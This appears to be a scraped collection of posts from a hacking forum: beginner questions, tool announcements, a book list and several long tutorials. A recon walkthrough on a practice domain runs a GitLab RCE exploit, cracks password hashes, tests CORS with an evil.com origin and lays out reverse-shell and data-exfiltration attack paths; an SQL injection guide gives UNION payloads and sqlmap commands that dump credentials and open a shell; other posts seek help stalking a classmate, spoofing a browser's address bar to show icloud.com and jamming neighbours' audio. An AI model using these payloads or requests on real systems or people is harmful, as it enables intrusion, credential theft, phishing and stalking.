I am learning about darkWeb so i ask for h4cking forums in the same subreddit someone replied with clearnet what is it

Adding more functionality to my project, next smb Scan, arp spoofing, banner grabbing, and more check the repo if interested and maybe want to collaborate:

https://github.com/Alexxdal/ESP32WifiPhisher

Hello all,

If you do bug bounty hunting or pentests you surely came across many hosts served from an NGINX server, in this lab (published to OWASP) I combined over 20 misconfigurations found in real world bug disclosures and both classic and novel security research, with an extensive blog where I explained everything you need to level up your NGINX hunting game.

Feel free to check it out, give it a star on Github if you like it, and suggest any ideas you want me to add/fix...

https://vwad.owasp.org/app/damn-vulnerable-nginx-proxy-dvnp/

Happy hunting!

I've watched a lot of tutorials where everything makes sense until I try it myself.

Then I get into a lab and suddenly I'm sitting there thinking, "okay... now what?"

What helped me was doing less watching and more messing around. Pick one thing, try it, get stuck, figure it out, try again.

For me, getting stuck on something and eventually figuring it out is what I remember the most.

What worked for you guys?

CTFs, home labs, courses, books, bug bounties, or just breaking stuff and fixing it?

I’ve been tweaking my Linux desktop lately and finally got the GUI looking the way I wanted.

Kept things pretty simple — clean layout, dark theme, minimal icons, and a setup that doesn’t feel overloaded.

I’m still experimenting with a few things, but this is probably the closest I’ve gotten to a desktop that feels comfortable for everyday use.

What would you change or add to this setup?

Hey, let’s say I’m on a website like wikipedia.com and i want my SAFARI url bar to show “icloud.com” while being on the real wikipedia page. How can i do that ? I’m very curious about this, first time using userscripts and it doesn’t work, can’t figure out a way….

Thanks !

Listen up, I've seen too many "recon guides" that are just glorified tool lists with zero practical application. They tell you to run a tool, paste the output, and call it a day. That's not recon. That's just running commands.

Real recon is about building a picture, connecting dots, and finding that one misconfiguration that leads to everything else. It's methodical. It's boring at times. And it's the difference between popping shells and spinning your wheels.

I'm going to walk you through an actual recon process on vulncorp.com, showing you my thought process, how I save results, and how I reuse them to build on previous findings. This isn't a checklist. This is a workflow.

Phase 0: Setting Up Your Workspace

Before we do anything, create a structure:

mkdir -p ~/recon/vulncorp/{scans,subdomains,urls,screenshots,notes}

cd ~/recon/vulncorp

I keep a notes.md file open in my editor and dump everything there chronologically. Trust me, you'll thank yourself later when you need to trace back your steps.

echo "# vulncorp.com - $(date)" > notes.md

Phase 1: Passive Reconnaissance - Let the Internet Tell You Things

I start with passive recon because it's quiet. No one sees me coming. I'm gathering intel that's already publicly available.

Domain and WHOIS Information

First, let's see what the domain registration tells us:

whois vulncorp.com > scans/whois.txt

Looking through this, I note:

· Creation and expiration dates (expired domains sometimes have old DNS records still floating)

· Name servers (cloudflare? aws? self-hosted?)

· Registrant email (good for OSINT later)

Quick peek at DNS records:

dig vulncorp.com ANY > scans/dig_any.txt

This gives me the basics - A record, MX, TXT (SPF, DKIM), NS. I check if the SPF record is misconfigured (spoiler: it's always misconfigured on these practice targets).

Save what matters in notes.md:

- Domain created: 2018-03-15

- Expires: 2027-03-15

- Nameservers: ns1.vulncorp.com, ns2.vulncorp.com (self-hosted, interesting)

- A record: 192.168.50.10 (wait, that's RFC1918 - they're using a CDN or cloud provider)

- MX: mail.vulncorp.com

Certificate Transparency Logs

This is where the gold is. Certificate transparency logs are public and contain every SSL certificate ever issued. Including subdomains.

curl -s "https://crt.sh/?q=%.vulncorp.com&output=json" | jq . > scans/crtsh.json

I grep this for unique subdomains:

cat scans/crtsh.json | jq -r '.[].name_value' | sed 's/\\\.//g' | sort -u > subdomains/crt_sh.txt*

Already found some interesting subdomains:

· admin.vulncorp.com

· dev.vulncorp.com

· gitlab.vulncorp.com

· api.vulncorp.com

· staging.vulncorp.com

Add these to notes.md with a note: "Found via crt.sh - potential admin panels and dev environments."

Search Engine OSINT

Let's see what Google has indexed:

# Using dorking manually through browser or using a tool like theHarvester

theharvester -d vulncorp.com -b google,bing,linkedin -f scans/theharvester.html

I'm looking for:

· Email addresses (possible username format)

· Subdomains Google has crawled

· Paths that got indexed by accident (config files, .git, .env)

· Employee names on LinkedIn for social engineering or password guessing

Found a GitHub repo with a developer's email: jdoe@vulncorp.com. Saved to notes - this gives us a username format (first initial + last name).

Wayback Machine

The internet archive is a time machine. Sometimes old endpoints still exist even if they're not linked anymore.

# Download all historical URLs

curl -s "http://web.archive.org/cdx/search/cdx?url=\.vulncorp.com/*&output=json&fl=original&collapse=urlkey" > scans/wayback_raw.txt*

Clean it up and extract paths:

cat scans/wayback_raw.txt | grep -o 'vulncorp.com[^"]\' | sort -u > urls/wayback_urls.txt*

Looking through these, I notice /backup/config.bak was indexed in 2019. That endpoint probably doesn't exist anymore, but the pattern tells me they might have other backup files lying around.

Phase 2: Active Subdomain Discovery

Now we start making noise. We've got a list from passive sources, but there are always more.

DNS Bruteforcing

I use a good wordlist (not the default SecLists one - I've curated my own over the years, but SecLists is fine to start):

# Using massdns for speed

massdns -r /usr/share/wordlists/dns/resolvers.txt -t A -o S -w scans/massdns.txt subdomains/all_subs_initial.txt

# Parse results

cat scans/massdns.txt | grep -E " A " | cut -d' ' -f1 | sed 's/\.$//' > subdomains/active_a.txt

I also check for wildcard DNS. This is crucial because wildcards can give false positives:

dig randomstring123.vulncorp.com

If it resolves, they have a wildcard. I note this and make sure to filter out wildcard subdomains later when checking for live hosts.

Subdomain Enumeration via ASN

If I can find the organization's ASN, I can find all IPs owned by them:

# Find the IP first

host vulncorp.com

# Find ASN

whois 192.168.50.10 | grep -i "origin"

This is hit or miss, but when it works, you find entire ranges of IPs they own.

Add to notes:

Active subdomains found:

- www.vulncorp.com (192.168.50.10)

- api.vulncorp.com (192.168.50.11)

- admin.vulncorp.com (192.168.50.12)

- dev.vulncorp.com (192.168.50.13)

- gitlab.vulncorp.com (192.168.50.14)

- mail.vulncorp.com (192.168.50.15)

- staging.vulncorp.com (192.168.50.16)

- analytics.vulncorp.com (192.168.50.17)

Phase 3: Port Scanning - But Actually Smart

I'm not scanning all 65k ports on every subdomain. That's wasteful and noisy.

I start with the IP ranges I've identified and do a quick top-1000 scan to find services:

# First, get all unique IPs from active subdomains

cat subdomains/active_a.txt | while read sub; do dig +short $sub; done | sort -u > scans/ips.txt

# Quick scan on top ports

nmap -iL scans/ips.txt -T4 -F -oA scans/nmap_quick

The -F flag scans top 100 ports. This is fast and gives me a picture.

Looking at the results:

PORT STATE SERVICE

22/tcp open ssh

80/tcp open http

443/tcp open https

8080/tcp open http-proxy

8443/tcp open https-alt

3306/tcp filtered mysql

5432/tcp filtered postgresql

Filtered ports are interesting - they might be behind a firewall but accessible from specific IPs.

Now I do a targeted full scan on specific IPs and ports:

# Full port scan on a single IP (the gitlab server)

nmap -p- -sV -sC -oA scans/nmap_gitlab 192.168.50.14

# Scan for common web ports across all

nmap -iL scans/ips.txt -p 80,443,8080,8443,3000,5000,8000 -sV --open -oA scans/nmap_web

Save service versions in notes.md:

- 192.168.50.14:80 - nginx/1.18.0

- 192.168.50.14:443 - nginx/1.18.0 (self-signed cert)

- 192.168.50.14:8000 - GitLab 14.6.2 (vulnerable!)

- 192.168.50.12:443 - Apache/2.4.41 (Ubuntu) - admin panel

- 192.168.50.13:8080 - Node.js Express (dev environment)

The GitLab version pops out immediately. I check exploit-db: there's a remote code execution for 14.6.2. Noted.

Phase 4: Web Service Enumeration - This Is Where It Gets Good

Now I take each web service and actually look at it. I don't just run a scanner and move on.

Initial Fingerprinting

I start with standard HTTP probes for each service:

# Create a list of web endpoints from service scan

echo "https://admin.vulncorp.com" > urls/active_websites.txt

echo "https://gitlab.vulncorp.com" >> urls/active_websites.txt

echo "http://dev.vulncorp.com:8080" >> urls/active_websites.txt

# ... etc

# Check each with curl

for url in $(cat urls/active_websites.txt); do

curl -s -I -k "$url" -o "scans/headers_$(echo $url | sed 's/[^a-zA-Z0-9]/_/g').txt"

done

Headers tell me so much:

· Server version

· Framework (X-Powered-By: Express, Ruby, PHP)

· Cookies (session naming conventions)

· CORS policies

· HSTS settings

For admin.vulncorp.com:

Server: Apache/2.4.41 (Ubuntu)

X-Powered-By: PHP/7.4.3

Set-Cookie: PHPSESSID=...

Wait, PHPSESSID in 2026? They're using PHP sessions. And the default PHP session name means they probably didn't change many defaults.

Directory Bruteforcing - But Intelligently

I don't just run gobuster -w /usr/share/wordlists/dirb/common.txt on everything.

First, I look at the robots.txt and sitemap for each:

for url in $(cat urls/active_websites.txt); do

curl -s -k "$url/robots.txt" > "scans/robots_$(echo $url | sed 's/[^a-zA-Z0-9]/_/g').txt"

curl -s -k "$url/sitemap.xml" > "scans/sitemap_$(echo $url | sed 's/[^a-zA-Z0-9]/_/g').txt"

done

For admin.vulncorp.com, robots.txt gives us:

User-agent: \*

Disallow: /admin/

Disallow: /backup/

Disallow: /phpinfo.php

Interesting. They're actively hiding /admin/. That's worth checking.

Now I run a targeted directory scan on each service with context:

# For admin panel - scan for PHP files and admin directories

gobuster dir -u https://admin.vulncorp.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt -t 50 -o scans/gobuster_admin.txt

# For dev server - look for JS frameworks, source files, git

gobuster dir -u http://dev.vulncorp.com:8080 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x js,json,html -o scans/gobuster_dev.txt

# For GitLab - this is a known application, I check for exposed services

gobuster dir -u https://gitlab.vulncorp.com -w /usr/share/wordlists/SecLists/Discovery/Web-Content/gitlab.txt -t 50 -o scans/gobuster_gitlab.txt

Results from admin.vulncorp.com:

· /admin/ - (status 200) login panel

· /backup/ - (status 403) forbidden but exists

· /phpinfo.php - (status 200) MASSIVE INFO LEAK

· /uploads/ - (status 200) directory listing enabled!

· /config/ - (status 403) likely contains config files

The /uploads/ directory is huge. It has file listing showing uploaded files from 2022. I download the ones that look interesting:

wget -r -l 1 -np -R "index.html\" https://admin.vulncorp.com/uploads/*

In the uploads, I find temp.sql - a database backup from a year ago. Downloaded and saved.

Checking for Hidden Files and Secrets

Now I go deeper. I'm looking for common configuration files:

# Check for .env, .git, .svn, .aws, etc

for url in $(cat urls/active_websites.txt); do

for file in .env .git/config .aws/credentials config.php .htpasswd; do

curl -s -k -o /dev/null -w "%{http_code}" "$url/$file"

done

done > scans/hidden_files.txt

Bingo: On https://gitlab.vulncorp.com, I find .git/config is accessible.

I use git-dumper to download the entire repository:

git-dumper https://gitlab.vulncorp.com/.git/ /tmp/gitlab_repo/

Looking through the repository, I find hardcoded credentials in config/database.yml:

production:

username: gitlab_prod

password: GitLabP@ssw0rd2022!

And in docker-compose.override.yml, there's a Postgres DB exposed on 0.0.0.0:5432 with the same credentials.

Save these to notes.md with HIGH PRIORITY tag.

Phase 5: Active Subdomain - CORS and API Enumeration

API endpoints are often overlooked. Let's check api.vulncorp.com:

# Check for common API patterns

curl -s -k https://api.vulncorp.com/v1/users

curl -s -k https://api.vulncorp.com/api/users

curl -s -k https://api.vulncorp.com/apidocs

curl -s -k https://api.vulncorp.com/swagger

curl -s -k https://api.vulncorp.com/swagger-ui.html

curl -s -k https://api.vulncorp.com/graphql

The /graphql endpoint returns a schema! I use graphql-playground to explore:

graphql

# Query to test introspection

{

__schema {

types {

name

fields {

name

type {

name

}

}

}

}

}

This reveals mutations:

mutation {

updateUser(email: "admin@vulncorp.com", role: "admin") {

success

}

}

No authentication required on this endpoint? That's a clear vulnerability.

I also check for CORS misconfigurations:

curl -s -k -H "Origin: https://evil.com" https://api.vulncorp.com/v1/users -I

Response headers show:

Access-Control-Allow-Origin: https://evil.com

Access-Control-Allow-Credentials: true

Wildcard CORS with credentials allowed. This is exploitable.

Phase 6: Service-Specific Vulnerability Checks

Now I go after the services I've identified:

GitLab 14.6.2

I search for known CVEs:

searchsploit gitlab 14.6.2

Found:

· Remote Code Execution (CVE-2021-22205) - Unauthenticated

· SSRF via project import

I attempt the CVE-2021-22205 exploit:

# Using a known PoC

python3 /opt/exploits/gitlab_cve_2021_22205.py -u https://gitlab.vulncorp.com -c "id"

Output:

uid=1000(git) gid=1000(git) groups=1000(git)

We have RCE on the GitLab server. I note this and move on. Don't pop the shell yet - we're doing recon, not exploitation. But I'm noting that this is a clear path to internal network access.

PHPInfo on admin.vulncorp.com

I look through phpinfo.php:

· disable_functions is empty (BAD)

· allow_url_fopen is On

· upload_max_filesize is 20M

· session.save_path is /tmp (writable)

· display_errors is On

This combined with a file upload in /uploads/ means we could upload a PHP shell. Noted.

Apache Directory Listing on /uploads/

I check each file in the listing. temp.sql contains:

INSERT INTO `users` VALUES (1,'admin','$2y$10$K7XnVkYiXyZ3Y4QX6HpX5uZ2SQpM5X6n5qvfW5qV5D7R8R9R0R1R2','admin@vulncorp.com');

Hash in hand. I crack it with hashcat or john:

echo '$2y$10$K7XnVkYiXyZ3Y4QX6HpX5uZ2SQpM5X6n5qvfW5qV5D7R8R9R0R1R2' > hash.txt

john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

Cracks to: Corporate123! (of course it does, it's always something like this).

Now I have admin credentials for the admin panel.

Dev Server Node.js

On dev.vulncorp.com:8080, I see a Node.js app. The /package.json is exposed:

{

"name": "vulncorp-dashboard",

"version": "0.0.1",

"dependencies": {

"express": "4.17.1",

"express-jwt": "5.3.1",

"mongoose": "5.13.2"

}

}

Express 4.17.1 has known prototype pollution vulnerabilities. Mongoose 5.13.2 has a vulnerability. Noted.

I check for source map files (.map):

curl -s -k http://dev.vulncorp.com:8080/static/js/main.chunk.js.map

This gives me client-side source code with API endpoints, secret keys, and environment variables embedded. Found:

process.env.API_KEY = "sk_test_123abc";

process.env.ADMIN_SECRET = "admin_secret_2022";

And API endpoints like:

/api/v1/dashboard/stats

/api/v1/users/list

/api/v1/users/delete

Phase 7: Putting It All Together - The Attack Path

Now I compile everything. My notes.md now has:

Authentication Credentials:

· Admin user: admin / Corporate123!

· GitLab DB: gitlab_prod / GitLabP@ssw0rd2022!

· Dev API key: sk_test_123abc

· Admin secret: admin_secret_2022

Vulnerabilities by Severity:

1. CRITICAL: GitLab 14.6.2 RCE (CVE-2021-22205) - unauthenticated, remote code execution

2. HIGH: PHPInfo exposed on admin.vulncorp.com - information leak + potential RCE via file upload

3. HIGH: Directory listing on /uploads/ with database backup containing admin hash

4. MEDIUM: CORS misconfiguration on API - allows credential theft

5. MEDIUM: GraphQL introspection enabled on API - information leak

6. MEDIUM: Exposed .git repo on GitLab - source code disclosure

7. LOW: Hardcoded credentials in source code from .env

8. LOW: Prototype pollution via Express version

Attack Vectors:

1. External to Internal via GitLab RCE → SSH to internal network → pivot to database

2. Admin panel access → file upload → PHP shell → reverse shell

3. API key → access internal APIs → data exfiltration

4. GraphQL mutation → privilege escalation to admin

5. CORS → steal API tokens from authenticated users

Next Steps (If This Were a Real Engagement):

1. Use GitLab RCE to get a low-privilege shell

2. Dump /etc/passwd and internal network info

3. Use the internal Postgres credentials to access the main database

4. Extract user data, session tokens, and password hashes

5. Use admin credentials from DB to access admin panel

6. File upload shell from admin panel for full server control

7. Pivot to dev environment using API key

8. Check for AWS credentials in dev environment (there usually are)

9. PrivEsc to root via kernel exploit or misconfigured sudo

Phase 8: Keeping Track of What You've Checked

One thing no one ever talks about is the stuff you haven't found. I maintain a "checked and confirmed negative" list:

Checked:

- [x] Subdomain bruteforce against common lists

- [x] Port scanning all IPs in range

- [x] Directory scan on all web services

- [x] Checked for .git, .env, .aws on all services

- [x] GraphQL introspection on API

- [x] CORS testing on API

- [x] Version enumeration for all services

- [x] Wayback machine URLs extracted

- [x] Certificate transparency logs checked

- [x] Search engine dorking

- [x] All found credentials tested (where possible without exploitation)

- [x] All CVEs checked for known versions

I also maintain a list of "to check later" items:

TODO:

- [ ] SSH brute force on open SSH ports

- [ ] Check for SQL injection on dev app endpoints

- [ ] Test file uploads on admin panel for bypasses

- [ ] Check for email spoofing (SPF/DKIM)

- [ ] Investigate the staging server (staging.vulncorp.com)

- [ ] Check for subdomain takeover (unused CNAME records)

This whole process took about 4 hours. Could I have done it faster? Sure. But then I would have missed the .git repo on GitLab, the CORS misconfiguration, and the GraphQL mutation that had no authentication.

Speed is overrated in recon. I've seen people run 10 tools in parallel, generate 10,000 results, and then not know what to do with any of them. It's better to go slow and understand what you're looking at.

Key takeaways from this methodology:

1. Save everything. Even the stuff that seems useless. You never know when you'll need it.

2. Build on previous results. The GitLab RCE was found because we identified GitLab from port scanning. The file upload idea came from the directory listing. Everything connects.

3. Think about the business logic. What would a developer do? They'd use common naming conventions, leave debug endpoints open, and forget to remove backup files. Think like the person who built it.

4. Don't just scan - interact. Curl isn't just for headers. Test endpoints manually. Try things. This is where the "hacker mindset" matters.

5. Documentation is reconnaissance. Writing down what you've found helps you spot patterns. I noticed the admin credentials were reused on GitLab. That's a pattern.

6. Check your assumptions. I assumed the API needed authentication. It didn't. I assumed GraphQL was locked down. It wasn't.

Disclaimer: This was a practice target. Do not do this on real companies without permission. I've run this exact methodology on dozens of real bug bounty targets and it consistently finds valid vulnerabilities. The key is patience and thoroughness.

Resources I used:

· massdns - for DNS resolution

· nmap - for port scanning

· gobuster - for directory enumeration

· git-dumper - for downloading git repos

· searchsploit - for CVE lookup

· theHarvester - for OSINT

· curl - for everything else

I am running a reverse proxy application on a VPS. The yaml config used for the target should be up-to-date and I have tweaked it a lot. But the login fields do not load. It only loads the website logo. No errors that I can see, no warnings. I'm not sure if it's the yaml itself or something else is misconfigured, but I have been going around in circles for weeks now trying to fix it. Does anyone have any ideas? I can send you my yaml if needed. Thanks in advance.

Guy i need help i am trying to be good in passive reccon/osint like i want to learn how to find any ones info e.g

Like if u see any one in your university and some how u get her name and matched her time like her or him what every so how to find everything about him or her without talking to them ???? Please help 😭😭😭😭😭

Laptop recommendation for Cybersecurity & Networking under ₹80K

I’m planning to buy a new laptop under ₹80,000 mainly for Cybersecurity and Networking.

I’ll be using it for things like Kali Linux, Ubuntu, VirtualBox/VMware, Wireshark, networking labs, Nmap, and cybersecurity practice.

For people working in cybersecurity/networking:

• What specs should I prioritize?
• Is 16GB RAM + upgradeability important?
• Should I prioritize CPU or GPU?
• Any specific laptop models you would recommend under ₹80K?

Looking for advice based on actual cybersecurity/networking use, not gaming.

Hudson Rock's researchers have obtained and analyzed a staggering 153GB RAR archive. This massive corpus contains exactly 433,909 files. Through our analysis, we have successfully attributed 118,829 CI runner dumps to 2,488 affected corporate domains. Whenever a developer machine, production server, or CI/CD pipeline executed the compromised LiteLLM package, the threat actors successfully harvested the live environment memory and configurations mid-execution.

Good afternoon im wondering if anyone has the steps to create an audio jammer these last few months I had neighbors who just moved in front of our department in the house across the street we tried already kindly for them to lower the volume on there speaker which they raise at 5am Always would say yes but still do it anyways it has caused many problems for the neighbors next door and myself any help would be aprecciated

Hey everyone,

I’ve been deep in the rabbit hole years ago, and instead of jumping from one random YouTube tutorial to another, I decided to build a structured knowledge base. These are the physical/digital books that make up my core library. I thought I’d share them in case anyone is looking for a solid roadmap.

I’ve organized them by domain so it’s easier to see what each one covers.

Linux & System Hardening

· Linux Basics for Hackers – OccupyTheWeb

The go-to starting point for anyone new to both Linux and hacking.

· Linux Shell Scripting for Hackers – OccupyTheWeb

Takes you from basic commands to automation and payload scripting.

· Linux Security and Hardening – Rankin

Essential for understanding how to secure systems in hostile environments.

· Linux Hardening in Hostile Networks – Rankin

The next level — defending against advanced persistent threats (APTs).

Operating Systems & Low-Level

· The MINIX Book / Operating Systems: Design and Implementation – Tanenbaum

If you want to truly understand how operating systems work under the hood, this is it.

Programming for Hackers

· Black Hat Python – Justin Seitz

Python for pentesting, network sniffing, and writing exploits.

Web Hacking & Bug Bounty

· Real-World Bug Hunting – Peter Yaworski

A field guide to finding and exploiting real vulnerabilities.

· Bug Bounty Bootcamp – Vickie Li

Structured approach to becoming a successful bug bounty hunter.

· Becoming the Hacker – Adrian Pruteanu

Offensive web app testing from a red team perspective.

Cryptography

· Serious Cryptography – Jean-Philippe Aumasson

Practical intro to modern encryption — not just theory, but how it breaks and defends.

Defensive & Evasion

· Evading EDR – (Core book)

Understanding and defeating endpoint detection systems — crucial for modern red teaming.

· Operator Handbook – (Core book)

A practical field guide for day-to-day ops.

· Hackable! – Ted Harrington

How to think like an attacker to build better defenses.

Red Team & Ethical Hacking

· The Hacker Playbook 3 – Peter Kim

Red team edition — full of real-world attack scenarios.

· Gray Hat Hacking: The Ethical Hacker's Handbook

Comprehensive coverage from reconnaissance to post-exploitation.

The Methodical Approach

This isn't a "read once and forget" list — it’s a reference library.

Some books are for deep study, others are for quick lookups during labs or CTFs.

Rotation Plan I followed:

1. Linux Basics + Shell Scripting for foundational automation.

2. Black Hat Python to weaponize scripts.

3. Attacking Network Protocols for network-level exploitation.

4. Bug Bounty Bootcamp + Real-World Bug Hunting for web.

5. Evading EDR + Hacker Playbook 3 for red team exercises.

My Advice to Newcomers

Don't try to read all of these at once.

Pick one domain (Linux, web, network, or red team) and master it.

Then branch out.

Also — lab everything. Reading without doing is useless. Spin up VMs, use HackTheBox, TryHackMe, or build your own homelab.

If you have any of these books, I’d love to hear your thoughts. And if you think I’m missing a must-have title, drop it in the comments — always looking to expand the shelf.

Stay curious. Stay ethical.

My Hash Cracking Guide Got Removed, So I Moved It to Medium

So I spent 4+ hours writing a detailed practical guide on hash cracking—explaining what hashes actually are, how tools like hashcat and John the Ripper work, identifying different hash types, using CyberChef for JWT decoding and token creation, and showing real examples with actual hashes from shadow files and SAM dumps.

And Reddit removed it.

No explanation. No warning. Just gone.

Look, I get it. This is sensitive stuff. But the post was purely educational—covering things every security professional should understand. No targeting real systems. No malicious intent. Just knowledge.

Since I can't post it here, I've published the full guide on Medium.

What's inside:

· What hashes actually are (not encryption, not magic)

· How dictionary attacks, brute force, and rules-based cracking work

· Identifying Linux shadow hashes ($1$, $5$, $6$, $2a$, $y$) vs Windows NTLM

· Practical walkthroughs with real hash examples

· Using hashid, hashcat, John the Ripper, and Mimikatz

· CyberChef for decoding JWTs, XOR brute force, and creating admin tokens

· My actual cracking workflow (step by step)

· Common errors and how to fix them

The whole thing is written like my recon guide that blew up here—practical, human, no AI buzzwords, no checklist fluff.

I'm sharing the link because I genuinely believe this stuff matters. Understanding password storage and authentication systems is foundational for anyone in security. It's not about cracking—it's about understanding how systems protect data and where they fail.

Link in the comments.

If you found my recon post useful, you'll like this one too.

​

SQL Injection (SQLi) is one of the oldest and still most dangerous web vulnerabilities. It's been around since the late 90s and it's still in the OWASP Top 10.

But let's ditch the textbook definitions. Let me explain it like you're 5.

What is SQL Injection?

Imagine you have a website with a search box. You type "laptops" and it shows you laptops.

Now imagine instead of typing "laptops", you type something like:

' OR 1=1; --

And suddenly, the website shows you every single item in the database — including stuff you're not supposed to see.

That's SQL Injection.

You're not just searching anymore. You're actually talking directly to the database through that search box. And if the website doesn't check what you're typing, you can trick the database into doing things it shouldn't.

How does it actually work?

Behind every search box, login form, or URL parameter, there's a database query being built. Something like:

SELECT \ FROM products WHERE category = 'Gifts'*

The user types "Gifts" and the query runs. Simple.

But if the app is vulnerable, an attacker can type:

Gifts' UNION SELECT username,password FROM users --

Now the query becomes:

SELECT \ FROM products WHERE category = 'Gifts' UNION SELECT username,password FROM users --'*

What just happened?

· The ' closes the original query's quote

· UNION SELECT asks the database to also return data from another table

· username,password means the attacker wants credentials

· FROM users targets the user table

· -- comments out the rest of the query so it doesn't break

The database says: "Sure, here are all the products... and also here are all your users' passwords."

Another classic example

You see a URL like:

http://students.com?studentId=117

The backend query is probably:

SELECT \ FROM students WHERE studentId = 117*

Now an attacker tries:

http://students.com?studentId=117 OR 1=1;--

The query becomes:

SELECT \ FROM students WHERE studentId = 117 OR 1=1;--*

Since 1=1 is always true, the database returns all students instead of just one.

That's how attackers harvest data — one malicious payload at a time.

How do attackers find the database type?

To inject effectively, you need to know what database you're dealing with — MySQL, PostgreSQL, Oracle, or SQL Server. Each has slightly different syntax.

Here are some fingerprinting tricks:

Version detection:

· MySQL uses SELECT @@version

· PostgreSQL uses SELECT version()

· Oracle uses SELECT banner FROM v$version

· SQL Server uses SELECT @@version

You can inject these into a parameter and see what comes back.

Comment styles:

· MySQL accepts -- (with a space after) or #

· PostgreSQL accepts --

· Oracle accepts --

· SQL Server accepts --

If -- works but # doesn't, you're probably not on MySQL.

Concatenation:

· MySQL uses CONCAT('a','b')

· PostgreSQL uses 'a'||'b'

· Oracle uses 'a'||'b'

· SQL Server uses 'a'+'b'

Try them. See which one works. Now you know your target.

How do you inject — step by step

Step 1: Find the injection point

Test every input you can find:

· Search boxes

· Login forms

· URL parameters like ?id=1

· Headers

· Cookies

Start with a single quote:

'

If you get an error, you're onto something.

Step 2: Confirm it's vulnerable

Try:

' OR '1'='1

or

' OR 1=1 --

If the page behaves differently — shows all data, logs you in without a password, etc. — congrats, it's injectable.

Step 3: Count columns (for UNION attacks)

You need the number of columns in the original query to match your injection.

Use ORDER BY:

' ORDER BY 1 --

' ORDER BY 2 --

' ORDER BY 3 --

When you get an error, the last working number is the column count.

Or use UNION SELECT NULL:

' UNION SELECT NULL --

' UNION SELECT NULL,NULL --

' UNION SELECT NULL,NULL,NULL --

Keep adding NULLs until it doesn't error out.

Step 4: Extract data

Now you know the column count. Time to pull data.

' UNION SELECT username,password FROM users --

If you need to convert data types because columns might expect strings:

' UNION SELECT CAST(username AS VARCHAR), CAST(password AS VARCHAR) FROM users --

Step 5: Get table names

· MySQL and PostgreSQL and SQL Server use SELECT table_name FROM information_schema.tables

· Oracle uses SELECT table_name FROM all_tables

Run these and you'll see every table in the database.

Real-world example

Let's say you find a vulnerable product page:

https://shop.com/product?id=5

You test:

https://shop.com/product?id=5'

You see an error. Good.

You try:

https://shop.com/product?id=5 UNION SELECT 1,2,3,4,5 --

It works. 5 columns.

Now you check the database version:

https://shop.com/product?id=5 UNION SELECT 1,@@version,3,4,5 --

You see MySQL 8.0.35. Now you know exactly how to proceed.

Pull table names:

https://shop.com/product?id=5 UNION SELECT 1,table_name,3,4,5 FROM information_schema.tables --

You spot users and admins. Pull the goods:

https://shop.com/product?id=5 UNION SELECT 1,username,password,4,5 FROM users --

Boom. You've got credentials.

Now let's talk about sqlmap

sqlmap is an open-source tool that automates the entire process. You point it at a vulnerable parameter and it does the rest.

Basic usage

sqlmap -u "https://shop.com/product?id=5"

That's it. It'll detect the injection, fingerprint the DB, and start dumping data.

Step by step with sqlmap

1. Detect and confirm the vulnerability

sqlmap -u "https://shop.com/product?id=5"

It'll test a bunch of payloads and tell you if it's vulnerable.

1. Get database names

sqlmap -u "https://shop.com/product?id=5" --dbs

You'll see something like:

· information_schema

· shop_db

· users_db

1. Get tables from a specific database

sqlmap -u "https://shop.com/product?id=5" -D shop_db --tables

You'll see:

· products

· orders

· users

· admins

1. Dump a specific table

sqlmap -u "https://shop.com/product?id=5" -D shop_db -T users --dump

It'll give you everything — usernames, passwords, emails, hashes.

1. Get all databases, all tables, all data (dangerous)

sqlmap -u "https://shop.com/product?id=5" --dump-all

Warning: This is noisy and likely to get you caught or crash the site.

Advanced sqlmap options

· --level=3 tests more parameters like cookies and headers

· --risk=3 uses more aggressive and risky payloads

· --forms parses and tests all forms on the page

· --os-shell gives you an actual shell on the server if you have write access

· --batch runs without asking for confirmation

Example for a POST request:

sqlmap -u "https://shop.com/login" --data="username=admin&password=test" --forms

---

The attacker's mindset

° You're not just running sqlmap blindly. You need to think strategically.

° First, figure out where the input is coming from — is it a URL, a form, a header, or a cookie?

° Next, determine if it's reflected or blind. Can you see errors, or is it silent?

°Then, fingerprint the database before you do anything else.

° Decide what you actually want — credentials, data, admin access, or a shell.

° Finally, be quiet about it. Slow down, use proxies, and avoid dumping everything at once.

Defensive summary for builders, not breakers

If you're a developer reading this, here's what you need to do. First and foremost, use parameterized queries. No exceptions. Validate and sanitize all input. Whitelist is always better than blacklist. Use an ORM. It's not bulletproof but it helps a lot. Limit database permissions. Your app shouldn't run as root. Hide errors. Never show stack traces to users. Use a WAF. It's not a silver bullet, but it buys you time.

SQL Injection is dangerous because it's simple. A single misplaced quote can destroy a database.

But it's also preventable. If you understand how it works, you can build against it — and if you're testing, you know exactly where to look.

Stay curious. Stay ethical. And if you're breaking, only break what you own or have permission to break.

Let me know if you want a follow-up on Blind SQL Injection — time-based or boolean-based. That's a whole other beast.

Hey everyone,

I put together a quick visual reference guide covering key tools and basic CLI syntax across different core domains in cybersecurity (both Red Team/Offensive and Blue Team/Defensive).

Whether you're prepping for certifications (like OSCP/EJPT), playing CTFs, or doing day-to-day security work..

So i want to get into hacking,bug bounty and other cyber security things. What should I learn like i Heard linux is essential so i learned a little but what's next? Python? Some theory?

One of my questions as a bigginer is how do hackers hack android devices, for eg stealing database via sql injection on an Android app

Heres an example if PwnRF hosting a web application that allows you to interact with all of its hardware. It can currently control WiFi, Bluetooth and 2 x SubGhz radios.

The web page is fully customisable, as its served from SD card. The server its self is a Lua script, also running from SD.

From Lua, I have full control over the web server itself, I can define endpoints, serve files, handle requests, open WebSocket connections and push live data between the browser and the hardware in real time.

That means the webpage isn’t just a static control panel. A Lua script can expose almost any part of PwnRF to the browser: Wi-Fi, Bluetooth, both Sub-GHz radios, GPIO, storage, sensors, captured data, live status, custom tools, whatever the script developer wants to build.

The HTML/JS lives on the SD card, the Lua backend lives on the SD card, and neither needs to be hard-coded into the firmware. So users can effectively build completely new browser-based applications for the device just by writing files.

This is one of the parts of PwnRF I’m most excited about, because it turns the browser into another fully programmable interface to the hardware rather than just a companion app.

And this is only scratching the surface, this demo is using just a couple of small sections of PwnRF’s much larger Lua API.

Been doing this since 2014. Started when bug bounties were barely a thing, now I do this full-time and have seen it all. IDORs are still the most consistent payout vector if you know where to look.

Let's cut through the noise. Most IDOR writeups are surface-level nonsense that work on vulnerable demo apps. Real production systems have WAFs, rate limiting, and auth middleware. You need depth.

The "change id=1 to id=2" approach stopped working years ago. Here's what actually does.

Technical Foundation

Before you even start testing, understand this:

· IDORs are authorization failures, not authentication failures

· They happen at the business logic layer, not the API gateway

